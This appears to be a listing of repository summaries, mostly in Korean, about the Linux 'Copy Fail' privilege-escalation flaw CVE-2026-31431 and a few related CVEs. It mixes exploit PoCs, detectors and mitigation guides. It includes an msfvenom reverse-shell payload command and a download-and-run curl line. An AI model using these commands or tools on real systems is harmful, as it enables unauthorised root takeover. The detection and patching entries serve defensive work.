CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC AFALG의 로직 버그커널 4.14 → 2026년 초를 통해 읽기 가능한 모든 파일의 페이지 캐시에 제어된 4바이트를 기록하는, 권한이 없는 간단한 LPE입니다. 메모리 내의 /usr/bin/su를 손상시킨 후 실행하면 → root 권한 획득. 빌드 및 실행 1. ELF 페이로드 생성 리버스 셸 예시 msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true \ PrependSetgid=true -f...

copyfail

CVE-2026-31431 — "Copy Fail" 안전 탐지 스크립트 Copy Fail Linux 커널 로컬 권한 상승 취약점을 위한 읽기 전용 탐지 스크립트입니다. 익스플로잇 코드가 없습니다. AFALG 소켓을 열지 않습니다. /etc/modprobe.d 외부에 파일을 쓰지 않습니다수동으로 완화 조치를 적용할 때만. 배경 Copy FailCVE-2026-31431은 Linux 커널의 algifaead 모듈AFALG 사용자 공간 암호화 API의 일부에 있는 논리적 결함입니다. 2026년 4월 29일 Theori / Xint...

HTB-Snapped-Writeup

HTB-Snapped-Writeup HTB Snapped — 하드 난이도 Linux 머신 라이트업. CVE-2026-27944Nginx UI 인증 없는 백업 정보 노출와 CVE-2026-3888snapd 레이스 컨디션 LPE을 연쇄적으로 활용하여 전체 시스템을 장악합니다. HTB: Snapped — Writeup 난이도: 하드 OS: Linux Ubuntu 24.04 출시일: 2026년 3월 23일 CVE: CVE-2026-27944, CVE-2026-3888 요약 Snapped는 nginx 뒤에 정적 사이트를 호스팅하고...

CVE-2026-21250

CVE-2026-21250: Windows HTTP.sys 로컬 권한 상승 Windows 11 24H2 - 로컬 권한 상승 🚨 CVE-2026-21250 취약점에 대한 기술 분석 및 리소스 Windows 11 24H2 / 25H2 - Windows Server 2022/2025 이 저장소는 Windows의 HTTP.sys 드라이버에서 로컬 권한 상승LPE을 허용하는 신뢰할 수 없는 포인터 역참조 결함인 CVE-2026-21250 취약점 연구를 위한 기술 문서와 리소스를 포함합니다. 📝 설명 이 취약점은 낮은 권한을 가진 공격자...

CVE-2026-31431-Copy-Fail---Advanced-LPE-Proof-of-Concept---C-Rewrite

CVE-2026-31431（「Copy Fail」）- 高度なLPE概念実証 - C言語リライト CVE-2026-31431 に対する高度なバイト完全一致のローカル権限昇格（LPE）概念実証（PoC）です。Linuxカーネルの暗号サブシステム（algifaead）における論理的な欠陥を悪用します。 このリポジトリには、AFALG ソケットインターフェースと splice システムコールを操作して読み取り専用のページキャッシュメモリを確実に上書きする、高度に最適化されたC実装が含まれています。 脆弱性の概要 「Copy...

CVE-2026-31431

CopyFail2 CVE-2026-31431 - Python 구현 xfrm ESP-in-UDP MSGSPLICEPAGES no-COW 고속 경로를 활용하는 CopyFail2 커널 익스플로잇의 Python 포트로, 권한이 없는 Linux 사용자의 로컬 권한 상승을 위한 도구입니다. /etc/passwd의 nologin/false 항목을 패스워드 없는 uid-0 사용자로 교체하고 su를 통해 루트 셸로 진입합니다. 취약점 커널 버그는 xfrm ESP-in-UDP 캡슐화에 사용되는 UDP splice 경로에 존재합니다...

XCP_ng_CVE-2026-31431_tester

CVE-2026-31431 "Copy Fail" — XCP-ng 실험실 탐지기 CVE-2026-31431"Copy Fail"에 대한 안전하고 비파괴적인 탐지 스크립트로, 2026년 5월 5일 보안 업데이트 이전의 XCP-ng 8.3 LTS 에서 검증되었습니다. ⚠️ 승인된 사용만 허용됩니다. 이 스크립트는 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 실행하십시오. 배경 CVE-2026-31431은 "Copy Fail"로 불리며, Linux 커널의 algifaead 암호화 인터페이스에서 발생하는 로컬 권한...

kbd: Local privilege escalation in openvt via incorrect process owner verification allowing passwordless root login

openvt -u is intended to identify the owner of the current VT and then execute login as that user from a privileged context. In the documented kbrequest/init usage, the ownership test in authenticateuser relies on stat"/proc//fd/0". stat on /proc//fd/0 follows the symlink to the underlying TTY...

copy-fail-CVE-2026-31431-poc

CVE-2026-31431 — Copy Fail 개념 증명PoC 이 저장소는 CVE-2026-31431 에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이는 높은 심각도의 Linux 커널 로컬 권한 상승 취약점으로, 권한이 없는 로컬 사용자가 루트 액세스 권한을 얻을 수 있게 합니다. "Copy Fail"이라고 명명된 이 결함은 algifaead 모듈에 존재하며, AFALG 소켓 인터페이스 및 splice 시스템 호출과 연계하여 setuid 바이너리인 /usr/bin/su와 같은 읽기 가능한 파일의 페이지 캐시에 통제...

cve-2026-31431-copy-fail

CVE-2026-31431 "Copy Fail" 스캐너 및 패치 헬퍼 Copy Fail 은 Linux 인프라에서 CVE-2026-31431Linux Kernel algifaead 로컬 권한 상승 취약점을 탐지하고 수정하기 위한 자동화된 보안 스캐너 및 패치 헬퍼입니다. 목차 설명 주요 기능 요구 사항 설치 사용 방법 명령 옵션 사용 예시 출력 및 결과 지원 배포판 수동 패치 가이드 임시 완화 조치 문제 해결 보안 참조 설명 CVE-2026-31431 은 Linux 커널 모듈 algifaeadAEAD용 비동기 암호화 인터페이스의...

CVE-2026-31431-mitigacion

CVE-2026-31431 — 전체 기술 분석 분류: 로컬 권한 상승 LPE — Linux 커널 CVSS: 7.8 높음 영향: 비특권 사용자 → root 영향을 받는 모듈: algifaead 커널 AFALG 하위 시스템 목차 1. 왜 취약한가? 2. 어떤 버전이 영향을 받는가? 3. 악용 방법 4. 완화 방법 1. 왜 취약한가? AFALG 하위 시스템 Linux 커널은 AFALG 라는 암호화 인터페이스를 사용자 공간에 노출합니다 AFALG 소켓 패밀리. 이 인터페이스는 비특권 프로세스가 root 없이도 커널의 암호화 가속기를...

CVE-2026-31431-Exploit

CVE-2026-31431"Copy Fail" 익스플로잇 CVE-2026-31431 취약점에 대한 전문적인 개념 증명PoC으로, Linux 커널의 algifaead / authencesn 페이지 캐시 처리에서 발생하는 치명적인 결함입니다. 개요 CVE-2026-31431 취약점은 통칭 "Copy Fail" 로 알려져 있으며, 2026년 4월 29일에 공개된 페이지 캐시 스크래치 쓰기scratch-write 버그입니다. 이 취약점은 권한이 없는 로컬 사용자가 디스크의 파일을 수정하지 않고도 /etc/passwd 또는...

CVE-2026-31431-Analysis-and-Fix

CVE-2026-31431 "Copy Fail" — 기술 심층 분석 심각도: CVSS 7.8 높음 분류: 로컬 권한 상승 도입 시점: Linux 4.14 2017 수정 커밋: a664bf3d603d 1. 배경 CVE-2026-31431은 Linux 커널의 algifaead 모듈커널 사용자 공간 Crypto APIAFALG의 AEAD 소켓 인터페이스에 존재하는 로컬 권한 상승 취약점입니다. 이 취약점은 권한이 없는 사용자가 Linux 커널의 Crypto API에서 AFALG 주소 패밀리를 활용하여 파일의 메모리 내 복사본을...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail AFALG + splice 페이지 캐시 덮어쓰기를 통한 Linux 커널 로컬 권한 상승 승인된 보안 연구, 침투 테스트 및 교육 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오. 기술 문서 목차 설명 취약점 세부 정보 저장소 구조 빠른 시작 탐지 요구 사항 완화 조치 테스트 환경 선택 사항 참고 자료 라이선스 설명 CVE-2026-31431은 Linux 커널의 로컬 권한 상승LPE 취약점입니다. 권한이 없는 로컬 사용자가...

CVE-2026-31431-PoC

CVE-2026-31431 PoC Linux 커널의 algifaead 페이지 캐시 쓰기"Copy Fail"를 통한 로컬 권한 상승 작성자: Van Glenndon Enad 최초 발견: Theori / Xint Code Research Team Taeyang Lee 게시일: 2026년 4월 29일 심각도: 높음High CVSS v3.1 점수: 7.8 CVSS v3.1 벡터: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE: CWE-787범위를 벗어난 쓰기, CWE-269부적절한 권한 관리 ...

GhostShell

GhostShell CVE-2026-31431 — Linux 커널 페이지 캐시 손상을 통한 로컬 권한 상승 GhostShell은 Linux 커널의 authencesn AEAD 암호화 구현의 결함을 악용하여 비특권 사용자 계정에서 루트 셸을 획득 하는 로컬 권한 상승 도구입니다. setuid-root 바이너리예: /usr/bin/su의 메모리 내 페이지 캐시를 손상시켜 해당 진입점에 셸코드를 심은 다음 실행하여 setuid0 + setgid0 권한을 얻고 권한 있는 /bin/sh를 생성합니다. 디스크의 파일은 수정되지 않으며...

cve-2026-31431

CVE-2026-31431 "Copy Fail" — 탐지 및 안전한 커널 패치 스크립트 algifaeadAFALG를 통한 Linux 커널 로컬 권한 상승 CVSS 7.8 HIGH | 공개 공개: 2026년 4월 ⚡ 빠른 시작 1. 탐지 스크립트안전, 읽기 전용 일반 사용자로 실행: curl -fsSL https://raw.githubusercontent.com/Mrhudson69/cve-2026-31431/main/checkcve202631431.sh -o check.sh && bash check.sh 이 스크립트는: 읽기 전...

CVE-2026-31431-CopyFail-static-ELF--POC

CVE-2026-31431: Copy Fail - 587바이트 정적 ELF 저는 이 버그를 발견하지 않았습니다. 공로는 Xint Code / Theori에게 있습니다. 이 저장소는 익스플로잇을 가능한 한 작게 만드는 제 방식입니다 - 587바이트로 전체 LPE를 수행하는 수제 x8664 ELF입니다. libc도, 링커도, 런타임도 없습니다. 그저 NASM과 고집뿐입니다. 실질적으로, 커널은 AFALG + splice를 통해 읽기 가능한 파일의 페이지 캐시에 쓰기 프리미티브를 제공합니다. setuid 바이너리의 엔트리 포인트를...

Copy-Fail---CVE-2026-31431

Copy-Fail---CVE-2026-31431 CVE-2026-31431 "Copy Fail" - 2017년 이후 모든 주요 배포판에 영향을 미치는 Linux 커널 AFALG 권한 상승 취약점에 대한 분석 및 방어 연구. authencesn 로직 결함을 통한 100% 신뢰할 수 있는 LPE 파일에는 Python이 설치되지 않은 환경에서 전체 프로세스를 자동화하는 바이너리와, 바이너리와 동일한 기능을 수행하는 Python 파일이 포함되어 있습니다. 대상 장치에서 ./copyfaillpeamd64를 실행하거나 대상에서 pytho...

CopyFail-Exploits-CVE-2026-31431

CVE-2026-31431 — Copy Fail 교육용 저장소: Copy Fail 익스플로잇의 다중 언어 구현. @shotafry가 작성 및 유지 관리 — CVE를 읽는 것만으로는 부족하다. 직접 재현해야 한다. 📖 Read this in English 목차 Copy Fail이란 무엇인가? 누가 발견했는가? 심각도 및 CVSS 어떻게 동작하는가? 요구 사항 사용 가능한 구현 언어별 사용법 시스템 검증 실행 시 정확히 어떤 일이 발생하는가? CTF 및 테스트 환경에서의 사용 난독화 — 조용한 변형 완화 및 패치 저장소 구조 법적...